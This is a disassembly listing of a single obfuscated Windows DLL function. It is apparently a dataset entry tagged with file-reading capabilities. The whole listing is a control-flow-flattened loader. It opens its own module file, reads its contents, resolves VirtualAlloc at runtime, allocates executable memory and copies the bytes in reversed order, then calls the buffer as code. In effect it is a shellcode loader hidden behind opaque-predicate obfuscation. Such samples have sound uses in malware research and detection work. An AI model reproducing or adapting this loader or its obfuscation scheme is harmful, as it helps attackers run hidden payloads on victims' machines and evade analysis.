Function at 0x18000106c
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov rax, qword [0x18001a008]
xor rax, rbp
mov qword [rbp + 0x30], rax
mov eax, dword [0x18001bbf4]
mov edx, dword [0x18001bbf0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete byte [rbp + 0x2f]
cmp edx, 0xa
setl byte [rbp + 0x2e]
mov dword [rbp - 0x34], ecx
mov eax, 0x27ee34c8
mov r13d, 0x3fba3aee
mov r14d, 0x84ed64db
mov edi, 0x106540bc
mov ebx, 0x2381e7e4
mov r15d, 0x7b02fcf3
mov esi, 0xb7c5bb18
mov r12d, 0xe0082dc3
cmp eax, 0xfb1ac454
jle 0x18000116b
cmp eax, 0x33aea60d
jg 0x1800011de
cmp eax, 0x1e8f1175
jle 0x18000127a
cmp eax, 0x29a54a78
jg 0x1800013da
cmp eax, 0x284b2d96
jg 0x18000166d
cmp eax, 0x1e8f1176
je 0x180001a4f
cmp eax, 0x2381e7e4
je 0x180001a75
cmp eax, 0x27ee34c8
jne 0x1800010ee
mov cl, byte [rbp + 0x2f]
mov al, byte [rbp + 0x2e]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x33aea60e
mov r8d, 0x30a151cf
cmovne eax, r8d
test cl, cl
mov ecx, 0x33aea60e
cmove eax, ecx
test dl, dl
cmovne eax, r8d
jmp 0x1800010ee
cmp eax, 0xb7c5bb17
jg 0x18000122e
cmp eax, 0x97cab58a
jle 0x1800012e1
cmp eax, 0xa047ecbf
jg 0x180001410
cmp eax, 0x98d0f049
jg 0x1800016de
cmp eax, 0x97cab58b
je 0x180001a8b
cmp eax, 0x97cfc4ed
je 0x180001973
cmp eax, 0x980812a9
jne 0x1800010ee
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp + 0x18]
mov rax, qword [rbp + 0x20]
mov rax, qword [rbp - 0x28]
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 0x20]
mov eax, 0xe3e62b49
jmp 0x1800010ee
cmp eax, 0x628c5951
jle 0x18000134e
cmp eax, 0x7aacdc4e
jg 0x18000144a
cmp eax, 0x77220f00
jg 0x180001715
cmp eax, 0x628c5952
je 0x180001a9f
cmp eax, 0x643f93f4
je 0x180001aa9
cmp eax, 0x76cdd12d
jne 0x1800010ee
mov rax, qword [rbp + 0x20]
mov eax, 0xf0b83f39
jmp 0x1800010ee
cmp eax, 0xdd0fe6d9
jle 0x180001399
cmp eax, 0xec972e79
jg 0x1800014c7
cmp eax, 0xe3e62b48
jg 0x18000173b
cmp eax, 0xdd0fe6da
je 0x180001973
cmp eax, 0xdfffd0a6
je 0x180001aca
cmp eax, 0xe0082dc3
jne 0x1800010ee
mov eax, 0xe9b4a4c5
jmp 0x1800010ee
cmp eax, 0x106540bb
jg 0x1800014fd
cmp eax, 0x4cfc65c
jg 0x180001793
cmp eax, 0xfb1ac455
je 0x180001b02
cmp eax, 0xfee7a501
je 0x180001b16
cmp eax, 0xffa52b86
jne 0x1800010ee
mov rax, qword [rbp + 8]
mov dword [rax], 1
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x97cab58b
mov r8d, 0xcbf6dc5f
jmp 0x1800019b4
cmp eax, 0x91d484ff
jle 0x18000155f
cmp eax, 0x93c92966
jg 0x1800017cb
cmp eax, 0x91d48500
je 0x180001b3c
cmp eax, 0x9279d76f
je 0x180001973
cmp eax, 0x93a8abc4
jne 0x1800010ee
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x628c5952
mov r8d, 0x32c40e42
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0x628c5952
jmp 0x180002390
cmp eax, 0x3efb0bac
jle 0x18000159f
cmp eax, 0x4bea88be
jg 0x18000182b
cmp eax, 0x3efb0bad
je 0x180001b95
cmp eax, 0x3fba3aee
je 0x180001bab
cmp eax, 0x4242ace7
jne 0x1800010ee
mov rax, qword [rbp + 0x10]
mov dword [rax], 0xfffffffd
mov eax, 0x814742d3
jmp 0x1800010ee
cmp eax, 0xc9884af3
jle 0x18000160a
cmp eax, 0xd31f9eaf
jg 0x180001867
cmp eax, 0xc9884af4
je 0x180001bb5
cmp eax, 0xcab70b8b
je 0x180001bcb
cmp eax, 0xcbf6dc5f
jne 0x1800010ee
mov eax, 0x97cfc4ed
jmp 0x1800010ee
cmp eax, 0x30a151ce
jg 0x180001892
cmp eax, 0x29a54a79
je 0x180001bdf
cmp eax, 0x2b2ba69d
je 0x180001be9
cmp eax, 0x30117435
jne 0x1800010ee
mov eax, 0x17bb5f1c
jmp 0x1800010ee
cmp eax, 0xac3e32e1
jg 0x1800018c5
cmp eax, 0xa047ecc0
je 0x180001c26
cmp eax, 0xa46fb1c5
je 0x180001c30
cmp eax, 0xa5671f31
jne 0x1800010ee
mov rax, qword [rbp - 8]
mov eax, 0x91d48500
jmp 0x1800010ee
cmp eax, 0x7dc06143
jg 0x1800018f4
cmp eax, 0x7aacdc4f
je 0x180001c44
cmp eax, 0x7b02fcf3
je 0x180001c4e
cmp eax, 0x7c80f75a
jne 0x1800010ee
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0xd31f9eb0
cmovne r8d, r12d
test eax, edx
mov eax, r8d
cmove eax, r12d
cmp ecx, 0xa
mov rcx, qword [rbp - 8]
mov rcx, qword [rcx]
mov qword [rbp - 0x58], rcx
cmovge eax, r8d
jmp 0x1800010ee
cmp eax, 0xf0b83f38
jg 0x180001916
cmp eax, 0xec972e7a
je 0x180001c97
cmp eax, 0xeccab29b
je 0x180001d01
cmp eax, 0xf0b07767
jne 0x1800010ee
mov eax, 0x3c266bce
jmp 0x1800010ee
cmp eax, 0x190fd75c
jle 0x18000194b
cmp eax, 0x190fd75d
je 0x180001d0b
cmp eax, 0x1a4de10e
je 0x180001d43
cmp eax, 0x1c4118f5
jne 0x1800010ee
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xf0b07767
mov r8d, 0x3c266bce
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0xf0b07767
jmp 0x180002390
cmp eax, 0x84ed64da
jle 0x18000197d
cmp eax, 0x84ed64db
je 0x180001d79
cmp eax, 0x87c6875c
je 0x180001d83
cmp eax, 0x8a260ec5
jne 0x1800010ee
mov rax, qword [rbp + 0x10]
mov dword [rax], 0xfffffffb
mov eax, 0x7b02fcf3
jmp 0x1800010ee
cmp eax, 0x34cbdce1
jle 0x1800019c9
cmp eax, 0x34cbdce2
je 0x180001dd1
cmp eax, 0x369c6dd9
je 0x180001ddb
cmp eax, 0x3c266bce
jne 0x1800010ee
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0xf0b07767
cmovne r8d, ebx
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, ebx
jmp 0x180001fe4
cmp eax, 0xc322acb9
jle 0x1800019ed
cmp eax, 0xc322acba
je 0x180001dee
cmp eax, 0xc70bf078
je 0x180001e2d
cmp eax, 0xc7856323
jne 0x1800010ee
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xd31f9eb0
mov r8d, 0x7c80f75a
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0xd31f9eb0
jmp 0x180002390
cmp eax, 0x284b2d97
je 0x180001e78
cmp eax, 0x28728ca0
je 0x180001eb7
cmp eax, 0x2928d281
jne 0x1800010ee
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0xad5cb1ee
cmovne r8d, r13d
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, r13d
cmp ecx, 0xa
mov rcx, qword [rbp + 0x20]
mov ecx, dword [rcx]
mov dword [rbp - 0x3c], ecx
cmovge eax, r8d
jmp 0x1800010ee
cmp eax, 0x98d0f04a
je 0x180001eee
cmp eax, 0x99d890bb
je 0x180001de4
cmp eax, 0x9d2d9e12
jne 0x1800010ee
cmp byte [rbp + 0x2b], 0
mov eax, 0x780c37d7
mov ecx, 0xc7856323
cmovne eax, ecx
jmp 0x1800010ee
cmp eax, 0x77220f01
je 0x180001efc
cmp eax, 0x780c37d7
je 0x180001f06
cmp eax, 0x78e3ba85
je 0x180001973
jmp 0x1800010ee
cmp eax, 0xe3e62b49
je 0x180001f45
cmp eax, 0xe5b0113c
je 0x180001f53
cmp eax, 0xe9b4a4c5
jne 0x1800010ee
mov eax, dword [0x18001bbf4]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x2b2ba69d
mov r8d, 0x4cfc65d
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0x2b2ba69d
jmp 0x180002390
cmp eax, 0x4cfc65d
je 0x180001f71
cmp eax, 0xd706966
je 0x180001ff0
cmp eax, 0xfe89070
jne 0x1800010ee
mov rax, qword [rbp + 0x18]
mov ecx, dword [rbp - 0x3c]
cmp ecx, dword [rax]
setb byte [rbp + 0x2a]
mov eax, 0x1c4118f5
jmp 0x1800010ee
cmp eax, 0x93c92967
je 0x180002024
cmp eax, 0x93cac3f7
je 0x18000204b
cmp eax, 0x954c4742
jne 0x1800010ee
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x68], rax
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x98d0f04a
mov r8d, 0xeccab29b
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0x98d0f04a
jmp 0x180002390
cmp eax, 0x4bea88bf
je 0x180002082
cmp eax, 0x55867139
je 0x180002096
cmp eax, 0x584c7026
jne 0x1800010ee
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
add eax, 0xfffffffc
mov rcx, qword [rbp - 0x18]
mov byte [rcx + rax], 0
mov eax, 0x190fd75d
jmp 0x1800010ee
cmp eax, 0xd31f9eb0
je 0x1800020a0
cmp eax, 0xda4336a4
je 0x1800020ae
cmp eax, 0xdcb86617
jne 0x1800010ee
mov eax, 0x28728ca0
jmp 0x1800010ee
cmp eax, 0x30a151cf
je 0x180002104
cmp eax, 0x32c40e42
je 0x18000223f
cmp eax, 0x331421de
jne 0x1800010ee
mov eax, dword [rbp - 0x40]
inc eax
mov dword [rbp - 0x44], eax
mov eax, 0x369c6dd9
jmp 0x1800010ee
cmp eax, 0xac3e32e2
je 0x18000227a
cmp eax, 0xacaed268
je 0x1800022d4
cmp eax, 0xad5cb1ee
jne 0x1800010ee
mov rax, qword [rbp + 0x20]
mov eax, 0x2928d281
jmp 0x1800010ee
cmp eax, 0x7dc06144
je 0x1800022f9
cmp eax, 0x7e4d2b3c
je 0x18000230d
cmp eax, 0x7f861d82
je 0x180001973
jmp 0x1800010ee
cmp eax, 0xf0b83f39
je 0x180002321
cmp eax, 0xf46e598c
je 0x18000235e
cmp eax, 0xfaddea1b
jne 0x1800010ee
mov rax, qword [rbp + 0x10]
mov dword [rax], 0xffffffff
mov eax, 0xdfffd0a6
jmp 0x1800010ee
cmp eax, 0x106540bc
je 0x180001973
cmp eax, 0x17bb5f1c
jne 0x1800023e2
cmp byte [rbp + 0x2d], 0
mov eax, 0x800cac0e
mov ecx, 0x4242ace7
cmovne eax, ecx
jmp 0x1800010ee
mov eax, 0x980812a9
jmp 0x1800010ee
cmp eax, 0x800cac0e
je 0x1800023a1
cmp eax, 0x814742d3
jne 0x1800010ee
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x97cab58b
mov r8d, 0xffa52b86
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0x97cab58b
jmp 0x180002390
cmp eax, 0x33aea60e
je 0x1800023ce
cmp eax, 0x33d399ac
jne 0x1800010ee
mov rax, qword [rbp - 0x50]
mov eax, 0xda4336a4
jmp 0x1800010ee
cmp eax, 0xb7c5bb18
je 0x1800023d8
cmp eax, 0xba23c361
jne 0x1800010ee
mov rax, qword [rbp + 0x10]
mov dword [rax], 0
mov rax, qword [rbp + 8]
mov dword [rax], 1
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0xe5b0113c
mov r9d, 0x34cbdce2
jmp 0x180001eab
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xdcb86617
mov r8d, 0x28728ca0
jmp 0x180001ed9
cmp byte [rbp + 0x2a], 0
mov eax, 0xd706966
mov ecx, 0x93c92967
cmovne eax, ecx
jmp 0x1800010ee
mov rax, qword [rbp + 8]
mov dword [rax], 1
mov eax, 0xffa52b86
jmp 0x1800010ee
mov eax, 0x32c40e42
jmp 0x1800010ee
mov rax, qword [rbp + 0x18]
mov ecx, dword [rax]
sub rsp, 0x20
call fcn.1800064d8
add rsp, 0x20
mov qword [rbp - 0x70], rax
mov eax, 0xc70bf078
jmp 0x1800010ee
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0x7e4d2b3c
mov r9d, 0xc322acba
jmp 0x180001fd7
mov rax, qword [rbp + 8]
mov dword [rax], 1
mov eax, 0x9279d76f
jmp 0x1800010ee
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x76cdd12d
mov r8d, 0xf0b83f39
jmp 0x18000234c
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0xa5671f31
mov r9d, 0xa047ecc0
cmovne r8d, r9d
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
mov rcx, qword [rbp - 8]
cmovge eax, r8d
cmp qword [rcx], 0
sete byte [rbp + 0x2c]
jmp 0x1800010ee
cmp byte [rbp + 0x2c], 0
mov eax, 0x643f93f4
mov ecx, 0x7dc06144
cmovne eax, ecx
jmp 0x1800010ee
mov eax, 0xfe89070
jmp 0x1800010ee
cmp dword [rbp - 0x38], 0
mov eax, 0x584c7026
mov ecx, 0xfaddea1b
cmove eax, ecx
jmp 0x1800010ee
mov rax, qword [rbp + 0x10]
mov dword [rax], 0xfffffffe
mov eax, 0xfb1ac455
jmp 0x1800010ee
mov eax, 0x99d890bb
jmp 0x1800010ee
mov rax, qword [rbp + 0x18]
mov edx, dword [rax]
mov rax, qword [rbp - 0x58]
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call rax
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
mov rax, qword [rbp + 0x20]
mov dword [rax], 0
mov eax, 0x4cfc65d
jmp 0x1800010ee
mov eax, 0x3efb0bad
jmp 0x1800010ee
mov rax, qword [rbp + 8]
mov dword [rax], 1
mov eax, 0x78e3ba85
jmp 0x1800010ee
mov eax, 0xfee7a501
jmp 0x1800010ee
mov rax, qword [rbp + 0x10]
mov dword [rax], 0xfffffffb
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x8a260ec5
cmovne r8d, esi
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, esi
jmp 0x180001fe4
mov rax, qword [rbp - 0x60]
mov ecx, dword [rbp - 0x34]
mov dword [rax], ecx
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp]
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp - 0x28]
mov rax, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov rax, qword [rbp + 0x18]
mov dword [rax], 0
mov rax, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
mov rcx, qword [rbp - 0x30]
mov dword [rcx], eax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov dword [rbp - 0x38], eax
mov eax, 0xc9884af4
jmp 0x1800010ee
mov eax, 0xac3e32e2
jmp 0x1800010ee
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x98d0f04a
mov r9d, 0x954c4742
jmp 0x180001eab
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xe5b0113c
mov r8d, 0xba23c361
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0xe5b0113c
jmp 0x180002390
mov eax, 0xec972e7a
jmp 0x1800010ee
mov rax, qword [rbp]
mov rcx, qword [rax]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
add rsp, 0x20
mov rcx, qword [rbp + 0x18]
mov dword [rcx], eax
sub rsp, 0x20
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rsp, 0x20
mov rcx, qword [rbp - 0x20]
mov qword [rcx], rax
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
mov eax, 0x284b2d97
jmp 0x1800010ee
mov eax, 0x93a8abc4
jmp 0x1800010ee
mov rax, qword [rbp + 0x20]
mov ecx, dword [rbp - 0x44]
mov dword [rax], ecx
mov eax, 0xf46e598c
jmp 0x1800010ee
mov rax, qword [rbp + 8]
mov dword [rax], 1
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x7e4d2b3c
mov r9d, 0x55867139
jmp 0x180001eab
mov rax, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x70]
mov qword [rax], rcx
mov rax, qword [rbp + 0x18]
mov r8d, dword [rax]
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
mov rax, qword [rbp]
mov rcx, qword [rax]
mov r9, qword [rbp + 0x18]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
add rsp, 0x30
test eax, eax
setne byte [rbp + 0x2b]
mov eax, 0x9d2d9e12
jmp 0x1800010ee
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x33d399ac
mov r9d, 0xda4336a4
cmovne r8d, r9d
cmp edx, 0xffffffff
jmp 0x180001fdd
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xdcb86617
mov r8d, 0x7f861d82
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0xdcb86617
jmp 0x180002390
mov rax, qword [rbp - 0x18]
mov eax, 0x954c4742
jmp 0x1800010ee
mov eax, 0x331421de
jmp 0x1800010ee
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0x8a260ec5
cmovne r8d, r15d
test eax, edx
mov eax, r8d
cmove eax, r15d
jmp 0x180001fe4
mov rax, qword [rbp]
mov eax, 0x12704cdb
jmp 0x1800010ee
mov rax, qword [rbp + 0x10]
mov dword [rax], 0
mov rax, qword [rbp + 8]
mov dword [rax], 1
mov eax, 0xba23c361
jmp 0x1800010ee
mov rax, qword [rbp + 0x18]
mov edx, dword [rax]
mov rax, qword [rbp - 0x58]
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call rax
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
mov rax, qword [rbp + 0x20]
mov dword [rax], 0
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0x2b2ba69d
mov r9d, 0x29a54a79
cmovne r8d, r9d
test eax, edx
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x1800010ee
mov rax, qword [rbp]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x10]
mov rcx, qword [rcx]
sub rsp, 0x20
call qword [rax]
add rsp, 0x20
mov eax, 0x1a4de10e
jmp 0x1800010ee
mov rax, qword [rbp - 0x28]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
mov rax, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x20]
mov ecx, dword [rcx]
not ecx
add ecx, dword [rax]
mov qword [rbp - 0x80], rcx
mov eax, 0xacaed268
jmp 0x1800010ee
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xa5671f31
mov r8d, 0x91d48500
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0xa5671f31
jmp 0x180002390
mov rax, qword [rbp + 8]
mov dword [rax], 1
mov eax, 0x1e8f1176
jmp 0x1800010ee
mov eax, 0xdd0fe6da
jmp 0x1800010ee
mov rax, qword [rbp - 8]
mov eax, 0x7c80f75a
jmp 0x1800010ee
mov eax, dword [0x18001bbf4]
mov ecx, dword [0x18001bbf0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x33d399ac
mov r9d, 0x30117435
cmovne r8d, r9d
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
cmovge eax, r8d
cmp qword [rbp - 0x50], 0
sete byte [rbp + 0x2d]
jmp 0x1800010ee
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x60], rax
mov eax, 0x110
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x20], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x28], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, 0x10
call fcn.180002430
sub rsp, rax
mov rcx, rsp
mov eax, dword [0x18001bbf4]
mov edx, dword [0x18001bbf0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r9b
cmp edx, 0xa
setl r10b
xor r10b, r9b
mov r9d, 0x33aea60e
cmovne r9d, r14d
test eax, r8d
mov eax, r9d
cmove eax, r14d
cmp edx, 0xa
mov qword [rbp + 8], rcx
cmovge eax, r9d
jmp 0x1800010ee
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x628c5952
cmove eax, edi
cmp dword [0x18001bbf0], 0xa
mov edx, 0x628c5952
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, edi
jmp 0x1800010ee
mov rcx, qword [rbp - 0x68]
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x40
mov rcx, qword [rbp]
mov qword [rcx], rax
mov rax, qword [rbp]
cmp qword [rax], 0xffffffffffffffff
mov eax, 0x87c6875c
mov ecx, 0xcab70b8b
cmove eax, ecx
jmp 0x1800010ee
mov rax, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x80]
mov al, byte [rax + rcx]
mov rcx, qword [rbp - 0x10]
mov rcx, qword [rcx]
mov rdx, qword [rbp + 0x20]
mov edx, dword [rdx]
mov byte [rcx + rdx], al
mov eax, 0x7aacdc4f
jmp 0x1800010ee
mov rax, qword [rbp + 0x10]
mov dword [rax], 0xfffffffc
mov eax, 0x4bea88bf
jmp 0x1800010ee
mov rax, qword [rbp + 8]
mov dword [rax], 1
mov eax, 0xc322acba
jmp 0x1800010ee
mov rax, qword [rbp + 0x20]
mov eax, dword [rax]
mov dword [rbp - 0x40], eax
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x76cdd12d
mov r8d, 0x77220f01
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0x76cdd12d
jmp 0x180002390
mov eax, dword [0x18001bbf4]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xad5cb1ee
mov r8d, 0x2928d281
cmove eax, r8d
cmp dword [0x18001bbf0], 0xa
mov edx, 0xad5cb1ee
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r8d
jmp 0x1800010ee
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
sub rsp, 0x20
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov eax, 0x93cac3f7
jmp 0x1800010ee
mov eax, 0x30a151cf
jmp 0x1800010ee
mov eax, 0xa46fb1c5
jmp 0x1800010ee
cmp eax, 0x12704cdb
jne 0x1800010ee
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp + 0x10]
mov esi, dword [rax]
mov rcx, qword [rbp + 0x30]
xor rcx, rbp
sub rsp, 0x20
call fcn.180002490
add rsp, 0x20
mov eax, esi
lea rsp, [rbp + 0x38]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret